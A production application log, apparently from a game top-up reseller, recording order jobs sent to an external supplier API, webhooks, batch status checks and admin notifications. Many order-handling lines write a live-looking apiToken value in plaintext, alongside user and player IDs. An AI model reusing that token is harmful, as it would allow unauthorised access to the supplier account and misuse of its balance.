[2026-03-24 17:22:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1659  
[2026-03-24 17:22:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1752  
[2026-03-24 17:22:30] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"500.0","mainamount":"500","operation_number":"158481316","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpk4h99i8cjuma2wfN1lM"}},"user_id":1285} 
[2026-03-24 17:22:31] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 17:22:31] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 17:22:31] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 17:22:31] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 17:22:31] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 17:22:31] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 17:22:31] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 17:22:31] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 17:22:31] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18658,"user_id":1285,"amount":500.0,"admins_notified":7} 
[2026-03-24 17:23:33] production.INFO: Constructing job for order: 178999  
[2026-03-24 17:23:34] production.INFO: Handling job for order: 178999  
[2026-03-24 17:23:34] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:23:34] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:23:34] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=46cfb110-8093-433d-a433-4c0c387e1b32&Player_ID=52380813560  
[2026-03-24 17:23:34] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=46cfb110-8093-433d-a433-4c0c387e1b32&Player_ID=52380813560","has_body":false} 
[2026-03-24 17:23:35] production.INFO: Operation sent successfully {"operation_id":163906,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-v6r-1774362214","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 17:23:35"}},"processed_data":{"order_number":"ORD-v6r-1774362214","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 17:23:37] production.INFO: Constructing job for order: 179000  
[2026-03-24 17:23:38] production.INFO: Handling job for order: 179000  
[2026-03-24 17:23:38] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:23:38] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:23:38] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/561/params?qty=200000&uuid=c863c08d-dbec-433c-a664-279e769f323e&Player_ID=88879977  
[2026-03-24 17:23:38] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/561/params?qty=200000&uuid=c863c08d-dbec-433c-a664-279e769f323e&Player_ID=88879977","has_body":false} 
[2026-03-24 17:23:38] production.INFO: Operation sent successfully {"operation_id":163907,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-20AN-1774362218","amount":14.9747199999999995867483448819257318973541259765625,"status":"processing","product":"Tami Amount","game":"Tami","notes":[],"created_at":"2026-03-24 17:23:38"}},"processed_data":{"order_number":"ORD-20AN-1774362218","amount":14.9747199999999995867483448819257318973541259765625,"status":"processing","product":"Tami Amount","game":"Tami"}} 
[2026-03-24 17:23:51] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-v6r-1774362214","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 17:23:51] production.INFO: Processed webhook data (normalized) {"id":"ORD-v6r-1774362214","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 17:23:51] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 17:23:51] production.INFO: SendAcceptReject: Notification queued {"user_id":1665,"notification_type":"order_approved","reference_id":178999} 
[2026-03-24 17:23:51] production.INFO: Order updated successfully. Order ID: 178999, Status: completed  
[2026-03-24 17:23:51] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-v6r-1774362214","status":"completed","codes_count":0} 
[2026-03-24 17:23:53] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1665  
[2026-03-24 17:23:54] production.INFO: Constructing job for order: 179001  
[2026-03-24 17:23:56] production.INFO: Handling job for order: 179001  
[2026-03-24 17:23:56] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:23:56] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:23:56] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/97/params?qty=5000&uuid=53f3146d-0190-474e-947c-498d2eda79c5&Player_ID=822434973  
[2026-03-24 17:23:56] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/97/params?qty=5000&uuid=53f3146d-0190-474e-947c-498d2eda79c5&Player_ID=822434973","has_body":false} 
[2026-03-24 17:23:57] production.INFO: Constructing job for order: 179002  
[2026-03-24 17:23:58] production.INFO: Operation sent successfully {"operation_id":163908,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-DyxPJK8-1774362238","amount":5.22139649999999999607780409860424697399139404296875,"status":"processing","product":"PartyStar Amount","game":"PartyStar","notes":[],"created_at":"2026-03-24 17:23:58"}},"processed_data":{"order_number":"ORD-DyxPJK8-1774362238","amount":5.22139649999999999607780409860424697399139404296875,"status":"processing","product":"PartyStar Amount","game":"PartyStar"}} 
[2026-03-24 17:23:58] production.INFO: Handling job for order: 179002  
[2026-03-24 17:23:58] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:23:58] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:23:58] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=3ba8eaad-7252-4050-addb-e36e18cc6cf3&Player_ID=7931091577  
[2026-03-24 17:23:58] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=3ba8eaad-7252-4050-addb-e36e18cc6cf3&Player_ID=7931091577","has_body":false} 
[2026-03-24 17:23:59] production.INFO: Operation sent successfully {"operation_id":163909,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-PZQ8F-1774362239","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 17:23:59"}},"processed_data":{"order_number":"ORD-PZQ8F-1774362239","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 17:24:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"Gf6eEf1TuLlFYmtg2yoSricEQVDWkImm","execution_time":"2026-03-24 17:24:02"} 
[2026-03-24 17:24:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"Gf6eEf1TuLlFYmtg2yoSricEQVDWkImm","execution_time":"2026-03-24 17:24:02","total_operations":6,"sites_count":1} 
[2026-03-24 17:24:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"Gf6eEf1TuLlFYmtg2yoSricEQVDWkImm","execution_time":"2026-03-24 17:24:02","site_id":3,"site_name":"swgamessd","orders_count":6,"order_ids":["ORD-j5G7ZL-1774360319","ORD-HWeTvU-1774361666","ORD-taJq-1774362102","ORD-20AN-1774362218","ORD-DyxPJK8-1774362238","ORD-PZQ8F-1774362239"]} 
[2026-03-24 17:24:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"Gf6eEf1TuLlFYmtg2yoSricEQVDWkImm","execution_time":"2026-03-24 17:24:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 17:24:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"Gf6eEf1TuLlFYmtg2yoSricEQVDWkImm","execution_time":"2026-03-24 17:24:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":6} 
[2026-03-24 17:24:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Gf6eEf1TuLlFYmtg2yoSricEQVDWkImm","execution_time":"2026-03-24 17:24:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-20AN-1774362218","operation_id":163907} 
[2026-03-24 17:24:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Gf6eEf1TuLlFYmtg2yoSricEQVDWkImm","execution_time":"2026-03-24 17:24:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-DyxPJK8-1774362238","operation_id":163908} 
[2026-03-24 17:24:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Gf6eEf1TuLlFYmtg2yoSricEQVDWkImm","execution_time":"2026-03-24 17:24:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-HWeTvU-1774361666","operation_id":163897} 
[2026-03-24 17:24:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Gf6eEf1TuLlFYmtg2yoSricEQVDWkImm","execution_time":"2026-03-24 17:24:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853} 
[2026-03-24 17:24:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Gf6eEf1TuLlFYmtg2yoSricEQVDWkImm","execution_time":"2026-03-24 17:24:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-PZQ8F-1774362239","operation_id":163909} 
[2026-03-24 17:24:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"Gf6eEf1TuLlFYmtg2yoSricEQVDWkImm","execution_time":"2026-03-24 17:24:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-taJq-1774362102","operation_id":163905,"processed":1,"skipped":5,"updates_prepared":1} 
[2026-03-24 17:24:02] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"Gf6eEf1TuLlFYmtg2yoSricEQVDWkImm","execution_time":"2026-03-24 17:24:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-taJq-1774362102","operation_id":163905,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 17:24:02] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"Gf6eEf1TuLlFYmtg2yoSricEQVDWkImm","execution_time":"2026-03-24 17:24:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-taJq-1774362102","operation_id":163905,"count":1} 
[2026-03-24 17:24:02] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"Gf6eEf1TuLlFYmtg2yoSricEQVDWkImm","execution_time":"2026-03-24 17:24:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-taJq-1774362102","operation_id":163905,"count":1} 
[2026-03-24 17:24:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"Gf6eEf1TuLlFYmtg2yoSricEQVDWkImm","execution_time":"2026-03-24 17:24:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-taJq-1774362102","operation_id":163905,"user_id":769,"notification_type":"order_approved","reference_id":178998} 
[2026-03-24 17:24:02] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"Gf6eEf1TuLlFYmtg2yoSricEQVDWkImm","execution_time":"2026-03-24 17:24:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-taJq-1774362102","operation_id":163905,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 17:24:02] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"Gf6eEf1TuLlFYmtg2yoSricEQVDWkImm","execution_time":"2026-03-24 17:24:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-taJq-1774362102","operation_id":163905,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 17:24:02] production.INFO: Batch update completed {"job":"Quryjob","job_id":"Gf6eEf1TuLlFYmtg2yoSricEQVDWkImm","execution_time":"2026-03-24 17:24:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-taJq-1774362102","operation_id":163905,"processed":1,"errors":0} 
[2026-03-24 17:24:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"Gf6eEf1TuLlFYmtg2yoSricEQVDWkImm","execution_time":"2026-03-24 17:24:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-taJq-1774362102","operation_id":163905,"processed":1,"errors":0} 
[2026-03-24 17:24:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"Gf6eEf1TuLlFYmtg2yoSricEQVDWkImm","execution_time":"2026-03-24 17:24:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-taJq-1774362102","operation_id":163905} 
[2026-03-24 17:24:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 769  
[2026-03-24 17:24:11] production.INFO: Constructing job for order: 179003  
[2026-03-24 17:24:14] production.INFO: Handling job for order: 179003  
[2026-03-24 17:24:14] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:24:14] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:24:14] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/591/params?qty=70000&uuid=c455b1f5-fdbf-4499-a3a3-1bd8d6dfe74b&Player_ID=83941527  
[2026-03-24 17:24:14] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/591/params?qty=70000&uuid=c455b1f5-fdbf-4499-a3a3-1bd8d6dfe74b&Player_ID=83941527","has_body":false} 
[2026-03-24 17:24:15] production.INFO: Operation sent successfully {"operation_id":163910,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-MddO6Nj-1774362255","amount":6.84923400000000004439471013029105961322784423828125,"status":"processing","product":"Yoho Amount","game":"Yoho","notes":[],"created_at":"2026-03-24 17:24:15"}},"processed_data":{"order_number":"ORD-MddO6Nj-1774362255","amount":6.84923400000000004439471013029105961322784423828125,"status":"processing","product":"Yoho Amount","game":"Yoho"}} 
[2026-03-24 17:24:25] production.INFO: Constructing job for order: 179004  
[2026-03-24 17:24:27] production.INFO: Handling job for order: 179004  
[2026-03-24 17:24:27] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:24:27] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:24:27] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/730/params?qty=53400&uuid=c6c3e6fb-f5b7-4287-b49d-8935401a7b6f&Player_ID=588947099  
[2026-03-24 17:24:27] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/730/params?qty=53400&uuid=c6c3e6fb-f5b7-4287-b49d-8935401a7b6f&Player_ID=588947099","has_body":false} 
[2026-03-24 17:24:28] production.INFO: Operation sent successfully {"operation_id":163911,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-BY0WLL2-1774362268","amount":5.42050050000000016581225281697697937488555908203125,"status":"processing","product":"TAKA Amount","game":"TakaChat","notes":[],"created_at":"2026-03-24 17:24:28"}},"processed_data":{"order_number":"ORD-BY0WLL2-1774362268","amount":5.42050050000000016581225281697697937488555908203125,"status":"processing","product":"TAKA Amount","game":"TakaChat"}} 
[2026-03-24 17:24:39] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-PZQ8F-1774362239","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 17:24:39] production.INFO: Processed webhook data (normalized) {"id":"ORD-PZQ8F-1774362239","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 17:24:39] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 17:24:39] production.INFO: SendAcceptReject: Notification queued {"user_id":366,"notification_type":"order_approved","reference_id":179002} 
[2026-03-24 17:24:39] production.INFO: Order updated successfully. Order ID: 179002, Status: completed  
[2026-03-24 17:24:39] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-PZQ8F-1774362239","status":"completed","codes_count":0} 
[2026-03-24 17:24:40] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 366  
[2026-03-24 17:25:01] production.INFO: Executing GetProducts task...  
[2026-03-24 17:25:01] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 17:25:01] production.INFO: Executing GetProducts task...  
[2026-03-24 17:25:03] production.INFO: async() رجع: true  
[2026-03-24 17:25:03] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 17:25:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 17:25:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 17:25:04] production.WARNING: Product with ID 212 not found  
[2026-03-24 17:25:04] production.WARNING: Product with ID 211 not found  
[2026-03-24 17:25:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 17:25:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 17:25:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 17:25:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 17:25:04] production.WARNING: Product with ID 216 not found  
[2026-03-24 17:25:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 17:26:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"dxEa2OAMpSLQJYynDkYxHOXP6ocSegqL","execution_time":"2026-03-24 17:26:02"} 
[2026-03-24 17:26:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"dxEa2OAMpSLQJYynDkYxHOXP6ocSegqL","execution_time":"2026-03-24 17:26:02","total_operations":6,"sites_count":1} 
[2026-03-24 17:26:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"dxEa2OAMpSLQJYynDkYxHOXP6ocSegqL","execution_time":"2026-03-24 17:26:02","site_id":3,"site_name":"swgamessd","orders_count":6,"order_ids":["ORD-j5G7ZL-1774360319","ORD-HWeTvU-1774361666","ORD-20AN-1774362218","ORD-DyxPJK8-1774362238","ORD-MddO6Nj-1774362255","ORD-BY0WLL2-1774362268"]} 
[2026-03-24 17:26:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"dxEa2OAMpSLQJYynDkYxHOXP6ocSegqL","execution_time":"2026-03-24 17:26:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 17:26:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"dxEa2OAMpSLQJYynDkYxHOXP6ocSegqL","execution_time":"2026-03-24 17:26:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":6} 
[2026-03-24 17:26:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"dxEa2OAMpSLQJYynDkYxHOXP6ocSegqL","execution_time":"2026-03-24 17:26:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-HWeTvU-1774361666","operation_id":163897} 
[2026-03-24 17:26:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"dxEa2OAMpSLQJYynDkYxHOXP6ocSegqL","execution_time":"2026-03-24 17:26:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853} 
[2026-03-24 17:26:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"dxEa2OAMpSLQJYynDkYxHOXP6ocSegqL","execution_time":"2026-03-24 17:26:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-MddO6Nj-1774362255","operation_id":163910,"processed":4,"skipped":2,"updates_prepared":4} 
[2026-03-24 17:26:02] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"dxEa2OAMpSLQJYynDkYxHOXP6ocSegqL","execution_time":"2026-03-24 17:26:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-MddO6Nj-1774362255","operation_id":163910,"total_items":4,"chunks":1,"chunk_size":10} 
[2026-03-24 17:26:02] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"dxEa2OAMpSLQJYynDkYxHOXP6ocSegqL","execution_time":"2026-03-24 17:26:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-MddO6Nj-1774362255","operation_id":163910,"count":4} 
[2026-03-24 17:26:02] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"dxEa2OAMpSLQJYynDkYxHOXP6ocSegqL","execution_time":"2026-03-24 17:26:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-MddO6Nj-1774362255","operation_id":163910,"count":4} 
[2026-03-24 17:26:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"dxEa2OAMpSLQJYynDkYxHOXP6ocSegqL","execution_time":"2026-03-24 17:26:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-MddO6Nj-1774362255","operation_id":163910,"user_id":645,"notification_type":"order_approved","reference_id":179000} 
[2026-03-24 17:26:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"dxEa2OAMpSLQJYynDkYxHOXP6ocSegqL","execution_time":"2026-03-24 17:26:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-MddO6Nj-1774362255","operation_id":163910,"user_id":1706,"notification_type":"order_approved","reference_id":179004} 
[2026-03-24 17:26:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"dxEa2OAMpSLQJYynDkYxHOXP6ocSegqL","execution_time":"2026-03-24 17:26:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-MddO6Nj-1774362255","operation_id":163910,"user_id":951,"notification_type":"order_approved","reference_id":179001} 
[2026-03-24 17:26:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"dxEa2OAMpSLQJYynDkYxHOXP6ocSegqL","execution_time":"2026-03-24 17:26:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-MddO6Nj-1774362255","operation_id":163910,"user_id":1488,"notification_type":"order_approved","reference_id":179003} 
[2026-03-24 17:26:02] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"dxEa2OAMpSLQJYynDkYxHOXP6ocSegqL","execution_time":"2026-03-24 17:26:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-MddO6Nj-1774362255","operation_id":163910,"chunk_number":1,"processed":4,"errors":0,"total_operations":4,"total_orders":4,"total_codes":0,"total_refunds":0} 
[2026-03-24 17:26:02] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"dxEa2OAMpSLQJYynDkYxHOXP6ocSegqL","execution_time":"2026-03-24 17:26:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-MddO6Nj-1774362255","operation_id":163910,"total_processed":4,"total_errors":0,"chunks_processed":1} 
[2026-03-24 17:26:02] production.INFO: Batch update completed {"job":"Quryjob","job_id":"dxEa2OAMpSLQJYynDkYxHOXP6ocSegqL","execution_time":"2026-03-24 17:26:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-MddO6Nj-1774362255","operation_id":163910,"processed":4,"errors":0} 
[2026-03-24 17:26:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"dxEa2OAMpSLQJYynDkYxHOXP6ocSegqL","execution_time":"2026-03-24 17:26:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-MddO6Nj-1774362255","operation_id":163910,"processed":4,"errors":0} 
[2026-03-24 17:26:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"dxEa2OAMpSLQJYynDkYxHOXP6ocSegqL","execution_time":"2026-03-24 17:26:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-MddO6Nj-1774362255","operation_id":163910} 
[2026-03-24 17:26:02] production.INFO: transferapi Exception: amounttransfer is not equal to mainminbalance {"exception":"amounttransfer is not equal to mainminbalance"} 
[2026-03-24 17:26:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 645  
[2026-03-24 17:26:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1706  
[2026-03-24 17:26:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 951  
[2026-03-24 17:26:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1488  
[2026-03-24 17:26:02] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-BY0WLL2-1774362268","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 17:26:02] production.INFO: Processed webhook data (normalized) {"id":"ORD-BY0WLL2-1774362268","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 17:26:02] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 17:26:02] production.ERROR: Order not found or already processed. External ID: ORD-BY0WLL2-1774362268  
[2026-03-24 17:26:02] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-BY0WLL2-1774362268","status":"completed","codes_count":0} 
[2026-03-24 17:26:03] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-20AN-1774362218","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 17:26:03] production.INFO: Processed webhook data (normalized) {"id":"ORD-20AN-1774362218","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 17:26:03] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 17:26:03] production.ERROR: Order not found or already processed. External ID: ORD-20AN-1774362218  
[2026-03-24 17:26:03] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-20AN-1774362218","status":"completed","codes_count":0} 
[2026-03-24 17:26:06] production.INFO: transferapi Exception: amounttransfer is not equal to mainminbalance {"exception":"amounttransfer is not equal to mainminbalance"} 
[2026-03-24 17:26:08] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 64  
[2026-03-24 17:26:08] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 102  
[2026-03-24 17:26:53] production.INFO: Constructing job for order: 179005  
[2026-03-24 17:26:56] production.INFO: Handling job for order: 179005  
[2026-03-24 17:26:56] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:26:56] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:26:56] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=a5d2434a-c89b-44db-8d25-e0d802cb60f5&Player_ID=52449900969  
[2026-03-24 17:26:56] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=a5d2434a-c89b-44db-8d25-e0d802cb60f5&Player_ID=52449900969","has_body":false} 
[2026-03-24 17:26:57] production.INFO: Operation sent successfully {"operation_id":163912,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-kBKvpYyx-1774362417","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 17:26:57"}},"processed_data":{"order_number":"ORD-kBKvpYyx-1774362417","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 17:27:03] production.INFO: Constructing job for order: 179006  
[2026-03-24 17:27:06] production.INFO: Handling job for order: 179006  
[2026-03-24 17:27:06] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:27:06] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:27:06] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/109/params?qty=70000&uuid=a563fc32-093b-475d-985b-39904a68f584&Player_ID=1300031311  
